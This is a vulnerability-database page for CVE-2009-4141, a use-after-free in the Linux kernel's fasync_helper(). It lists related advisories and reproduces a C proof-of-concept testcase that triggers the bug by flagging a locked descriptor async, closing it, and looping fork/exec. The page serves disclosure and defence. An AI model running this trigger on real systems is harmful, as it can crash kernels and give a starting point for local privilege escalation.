Lucene search

K

Linux Kernel 'fasync_helper()'本地特权提升漏洞

🗓️ 16 Jan 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 73 Views

Linux Kernel 'fasync_helper()'本地特权提升漏洞CVE-2009-414

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
ReporterTitlePublishedViews
Family
Cvelist
CVE-2009-4141
19 Jan 201016:00
cvelist
NVD
CVE-2009-4141
19 Jan 201016:30
nvd
CVE
CVE-2009-4141
19 Jan 201016:30
cve
UbuntuCve
CVE-2009-4141
19 Jan 201000:00
ubuntucve
Veracode
Use-after-Free
10 Apr 202000:39
veracode
Prion
Design/Logic Flaw
19 Jan 201016:30
prion
OSV
RHSA-2010:0149 Red Hat Security Advisory: kernel security and bug fix update
13 Sep 202406:46
osv
OSV
RHSA-2010:0161 Red Hat Security Advisory: kernel-rt security and bug fix update
13 Sep 202406:46
osv
OSV
RHSA-2010:0046 Red Hat Security Advisory: kernel security and bug fix update
15 Sep 202418:16
osv
Tenable Nessus
RHEL 5 : kernel (RHSA-2010:0149)
24 Jan 201300:00
nessus
Rows per page

                                                #ifndef _GNU_SOURCE
# define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <stdlib.h>
#include <assert.h>
#include <asm/ioctls.h>

// Testcase for locked async fd bug -- taviso 16-Dec-2009
int main(int argc, char **argv)
{
    int fd;
    pid_t child;
    unsigned flag = ~0;

    fd = open("/dev/urandom", O_RDONLY);

    // set up exclusive lock, but dont block
    flock(fd, LOCK_EX | LOCK_NB);

    // set ASYNC flag on descriptor
    ioctl(fd, FIOASYNC, &flag);

    // close the file descriptor to trigger the bug
    close(fd);

    // now exec some stuff to populate the AT_RANDOM entries, which will cause
    // the released file to be used.

    // This assumes /bin/true is an elf executable, and that this kernel
    // supports AT_RANDOM.
    do switch (child = fork()) {
            case  0: execl("/bin/true", "/bin/true", NULL);
                     abort();
            case -1: fprintf(stderr, "fork() failed, %m\n");
                     break;
            default: fprintf(stderr, ".");
                     break;
    } while (waitpid(child, NULL, 0) != -1);

    fprintf(stderr, "waitpid() failed, %m\n");
    return 1;
}

                              

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo